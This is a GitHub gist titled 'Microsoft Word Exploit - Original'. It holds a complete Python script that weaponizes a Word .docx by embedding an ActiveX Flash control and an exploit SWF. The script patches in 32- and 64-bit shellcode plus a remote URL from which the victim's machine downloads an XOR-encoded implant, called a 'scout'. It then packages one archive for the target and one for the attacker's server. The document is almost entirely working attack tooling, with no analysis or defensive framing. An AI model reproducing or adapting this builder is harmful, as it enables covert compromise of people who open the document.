Created
July 9, 2015 17:46
-
-
Save bedekelly/e0a2aed8cc8fb33ec506 to your computer and use it in GitHub Desktop.
Microsoft Word Exploit - Original
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import os | |
import warnings | |
import zlib | |
sys.path.append(os.getcwd() + '/' + "pylzma.egg") | |
import pylzma | |
import struct | |
import random | |
import shutil | |
from zipfile import ZipFile | |
import zipfile | |
import time | |
random.seed() | |
def random_id(length): | |
number = '0123456789' | |
alpha = 'abcdefghijklmnopqrstuvwxyz' | |
id = '' | |
for i in range(0,length,2): | |
id += random.choice(number) | |
id += random.choice(alpha) | |
return id | |
def four_byte_xor(buf, key): | |
out = '' | |
for i in range(0,len(buf)/4): | |
c = struct.unpack("<I", buf[(i*4):(i*4)+4])[0] | |
c ^= key | |
out += struct.pack("<I", c) | |
reminder = len(buf) % 4 | |
for i in range(len(buf)-reminder, len(buf)): | |
c = struct.unpack("B", buf[i])[0] | |
c ^= 0x41 | |
out += struct.pack("B", c) | |
return out | |
if not os.path.exists("c:\\RCS\\DB\\config\\test"): | |
SWF_RANDOM_NAME = random_id(12) + ".swf" | |
else: | |
SWF_RANDOM_NAME = "avtest.swf" | |
EXE_RANDOM_NAME = random_id(12) + ".dat" | |
if sys.argv[2][-1] == "/": | |
EXE_URL = sys.argv[2] + EXE_RANDOM_NAME | |
SWF_URL = sys.argv[2] + SWF_RANDOM_NAME | |
else: | |
EXE_URL = sys.argv[2] + '/' + EXE_RANDOM_NAME | |
SWF_URL = sys.argv[2] + '/' + SWF_RANDOM_NAME | |
if EXE_URL[:4] != 'http' and EXE_URL[:4] != "HTTP": | |
EXE_URL = "http://" + EXE_URL | |
if SWF_URL[:4] != 'http' and SWF_URL[:4] != "HTTP": | |
SWF_URL = "http://" + SWF_URL | |
#SWF_URL = "/".join(sys.argv[2].split("/")[0:-1]) + '/' + SWF_RANDOM_NAME | |
SCOUT_NAME = sys.argv[8] | |
input_file = sys.argv[4] | |
output_file = sys.argv[5] | |
send_to_target_zip = sys.argv[3] | |
send_to_server_zip = sys.argv[7] | |
INPUT_SCOUT = sys.argv[6] | |
exploit_file = "exploit.swf" | |
XOR_KEY = random.randint(0xdead, 0xdeadbeef) | |
print SCOUT_NAME | |
print EXE_URL | |
print SWF_URL | |
print EXE_RANDOM_NAME | |
print SWF_RANDOM_NAME | |
print input_file | |
print output_file | |
print send_to_target_zip | |
print send_to_server_zip | |
print INPUT_SCOUT | |
def byteArray2String(param): | |
with warnings.catch_warnings(): | |
warnings.simplefilter('ignore') | |
tmp = os.tempnam() | |
f = open(tmp, 'wb') | |
f.write(param) | |
f.close() | |
f = open(tmp, 'rb') | |
result = f.read() | |
f.close() | |
try: | |
os.unlink(tmp) | |
except WindowsError: | |
print "I/O error when deleting %s file"%(tmp) | |
return result | |
def create_doc(): | |
# unpack zip file | |
if not os.path.exists("tmp"): | |
os.mkdir("tmp") | |
myzip = ZipFile(input_file) | |
myzip.extractall("tmp") | |
myzip.close() | |
# update content types | |
buff = open("tmp/[Content_Types].xml", 'r').read() | |
idx = buff.lower().find("<types") | |
idx2 = buff[idx:].lower().find(">") + 1 | |
buff2 = buff[:idx+idx2] | |
if buff.lower().find("vnd.ms-office.activex") == -1: | |
buff2 += '<Default ContentType="application/vnd.ms-office.activeX" Extension="bin"/>' | |
if buff.lower().find("image/x-wmf") == -1: | |
buff2 += '<Default ContentType="image/x-wmf" Extension="wmf"/>' | |
buff2 += '<Override ContentType="application/vnd.ms-office.activeX+xml" PartName="/word/activeX/activeX1.xml"/>' | |
buff2 += buff[idx+idx2:] | |
open("tmp/[Content_Types].xml", 'w').write(buff2) | |
# update rels | |
buff = open("tmp/word/_rels/document.xml.rels", 'r').read() | |
idx = buff.lower().find("</relationships>") | |
buff2 = buff[:idx] | |
buff2 += '<Relationship Target="activeX/activeX1.xml" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Id="rId1000"/><Relationship Target="media/image1000.wmf" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Id="rId1001"/>' | |
buff2 += "</Relationships>" | |
open("tmp/word/_rels/document.xml.rels", 'w').write(buff2) | |
# update document | |
buff = open("tmp/word/document.xml", 'r').read() | |
#idx = buff.lower().find("</w:body") | |
#idx2 = 0 | |
idx = buff.lower().find("<w:body") | |
idx2 = buff[idx:].lower().find(">") + 1 | |
buff2 = buff[:idx+idx2] | |
buff2 += '<w:control w:name="ShockwaveFlash1" r:id="rId1000"/>' | |
buff2 += buff[idx+idx2:] | |
open("tmp/word/document.xml", 'w').write(buff2) | |
if os.path.exists("tmp/word/activeX"): | |
print "[!!] Unsupported file: contains an ActiveX" | |
sys.exit(-1); | |
if not os.path.exists("tmp/word/activeX/"): | |
shutil.copytree("resources/activeX/", "tmp/word/activeX/") | |
if not os.path.exists("tmp/word/media/"): | |
shutil.copytree("resources/media/", "tmp/word/media/") | |
else: | |
shutil.copy("resources/media/image1000.wmf", "tmp/word/media/") | |
random.seed() | |
create_doc() | |
XOR_OFFT = 0x88 * 2 | |
URL_OFFT = XOR_OFFT + (0x4*2) | |
SCOUT_OFFT = 0x110 * 2 | |
XOR_OFFT64 = 0 | |
URL_OFFT64 = 8 | |
SCOUT_OFFT64 = 0x88 * 2 | |
# decompress swf | |
compressed_swf = open("resources/exploit.swf", 'rb').read() | |
swf_buff = zlib.decompress(compressed_swf[8:]) | |
# replace :) | |
swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi") | |
swf_buff = swf_buff.replace("ht-201", "abc123") | |
##### 32 ####### | |
# get offset to shellcode | |
stage2_offset = swf_buff.find(b"EFBEADDE") | |
if stage2_offset == 0: | |
print "[!!] Gadget for shellcode not found" | |
sys.exit(-1) | |
print "[+] Gadget for shellcode found @ 0x%x" %(stage2_offset) | |
swf_bytearray = bytearray(swf_buff) | |
# replace shellcode 32 | |
shellcode = open("resources/shellcode", 'rb').read() | |
if len(shellcode) > 5800: | |
print "[!!] Shellcode too big: 0x%x" % (len(shellcode)) | |
sys.exit(-1) | |
hex_shellcode = shellcode.encode('hex') | |
for i in range(len(hex_shellcode)): | |
swf_bytearray[stage2_offset + i] = hex_shellcode[i] | |
# modify URL 32 | |
hex_url = EXE_URL.encode('hex') + "0000" | |
print "[+] Hex URL => %s" %(hex_url) | |
for i in range(len(hex_url)): | |
swf_bytearray[stage2_offset + URL_OFFT + i] = hex_url[i] | |
# modify scout name 32 | |
hex_scout = "5c" + SCOUT_NAME.encode('hex') + "0000" | |
print "[+] Scout Name => %s" % (hex_scout) | |
for i in range(len(hex_scout)): | |
swf_bytearray[stage2_offset + SCOUT_OFFT + i] = hex_scout[i] | |
# modify xor key | |
hex_xorkey = ("%08x" % XOR_KEY) | |
print "[+] Hex key => %s" %(hex_xorkey) | |
swf_bytearray[stage2_offset + XOR_OFFT + 0] = hex_xorkey[6] | |
swf_bytearray[stage2_offset + XOR_OFFT + 1] = hex_xorkey[7] | |
swf_bytearray[stage2_offset + XOR_OFFT + 2] = hex_xorkey[4] | |
swf_bytearray[stage2_offset + XOR_OFFT + 3] = hex_xorkey[5] | |
swf_bytearray[stage2_offset + XOR_OFFT + 4] = hex_xorkey[2] | |
swf_bytearray[stage2_offset + XOR_OFFT + 5] = hex_xorkey[3] | |
swf_bytearray[stage2_offset + XOR_OFFT + 6] = hex_xorkey[0] | |
swf_bytearray[stage2_offset + XOR_OFFT + 7] = hex_xorkey[1] | |
##### 64 ####### | |
# get offset to shellcode64 | |
stage264_offset = swf_buff.find(b"CAF1ADDE") | |
if stage264_offset == 0: | |
print "[!!] Gadget for shellcode64 not found" | |
sys.exit(-1) | |
print "[+] Gadget for shellcode found @ 0x%x" %(stage264_offset) | |
# replace shellcode 64 | |
shellcode64 = open("resources/shellcode64", 'rb').read() | |
if len(shellcode64) > (5800*2): | |
print "[!!] Shellcode too big: 0x%x" % (len(shellcode64)) | |
sys.exit(-1) | |
hex_shellcode64 = shellcode64.encode('hex') | |
for i in range(len(hex_shellcode64)): | |
swf_bytearray[stage264_offset + i] = hex_shellcode64[i] | |
# modify URL 64 | |
hex_url = EXE_URL.encode('hex') + "0000" | |
print "[+] Hex URL => %s" %(hex_url) | |
for i in range(len(hex_url)): | |
swf_bytearray[stage264_offset + URL_OFFT64 + i] = hex_url[i] | |
# modify scout name 32 | |
hex_scout = "5c" + SCOUT_NAME.encode('hex') + "0000" | |
print "[+] Scout Name => %s" % (hex_scout) | |
for i in range(len(hex_scout)): | |
swf_bytearray[stage264_offset + SCOUT_OFFT64 + i] = hex_scout[i] | |
# modify xor key 64 | |
hex_xorkey = ("%08x" % XOR_KEY) | |
print "[+] Hex key => %s" %(hex_xorkey) | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 0] = hex_xorkey[6] | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 1] = hex_xorkey[7] | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 2] = hex_xorkey[4] | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 3] = hex_xorkey[5] | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 4] = hex_xorkey[2] | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 5] = hex_xorkey[3] | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 6] = hex_xorkey[0] | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 7] = hex_xorkey[1] | |
# compress swf | |
uncompressed_len = len(swf_bytearray) | |
uncompressed_len += len("ZWS\x0d") | |
uncompressed_len += 4 # + se stessa | |
print "[+] Uncompressed len: 0x%x" %(uncompressed_len) | |
lzma_buff = pylzma.compress(byteArray2String(swf_bytearray)) | |
compressed_len = len(lzma_buff) - 5 | |
print "[+] Compressed len: 0x%x" %(compressed_len) | |
output_buff = "ZWS\x0d" | |
output_buff += struct.pack("<L", uncompressed_len) | |
output_buff += struct.pack("<L", compressed_len) | |
output_buff += lzma_buff | |
# write it | |
open(SWF_RANDOM_NAME, 'wb').write(output_buff) | |
# modify ole link | |
ole_link_buff = open("tmp/word/activeX/activeX1.bin", 'rb').read() | |
ole_link_offt = ole_link_buff.find("h\x00t\x00t\x00p") | |
print "[+] Offset to first link: 0x%x" %(ole_link_offt) | |
ole_link2_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link_offt+1) | |
print "[+] Offset to second link: 0x%x" %(ole_link2_offt) | |
ole_link3_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link2_offt+1) | |
print "[+] Offset to third link: 0x%x" %(ole_link3_offt) | |
swf_url_bytearray = bytearray(SWF_URL + "\x00\x00") | |
ole_link_bytearray = bytearray(ole_link_buff) | |
for i in range(len(ole_link_bytearray)): | |
if i == ole_link_offt or i == ole_link2_offt or i == ole_link3_offt: | |
y = 0 | |
for x in range(len(swf_url_bytearray)): | |
ole_link_bytearray[i+y] = swf_url_bytearray[x] | |
ole_link_bytearray[i+y+1] = 0x0 | |
y += 2 | |
# dump modified ole link | |
open("tmp/word/activeX/activeX1.bin", 'wb').write(byteArray2String(ole_link_bytearray)) | |
# create docx | |
cwd = os.getcwd() | |
os.chdir(cwd + "\\tmp") | |
os.system("zip.exe -r ..\\tmp.zip *") | |
os.chdir(cwd) | |
shutil.move("tmp.zip", output_file) | |
# zip per target | |
os.system("zip.exe -r \"" + send_to_target_zip + "\" \"" + output_file + "\"") | |
shutil.move(send_to_target_zip + ".zip", send_to_target_zip) | |
# zip per server | |
open(EXE_RANDOM_NAME, 'wb').write(four_byte_xor(open(INPUT_SCOUT, 'rb').read(), XOR_KEY)) | |
#shutil.copy(INPUT_SCOUT, EXE_RANDOM_NAME) | |
os.system("zip.exe \"" + send_to_server_zip + "\" " + EXE_RANDOM_NAME + " " + SWF_RANDOM_NAME) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment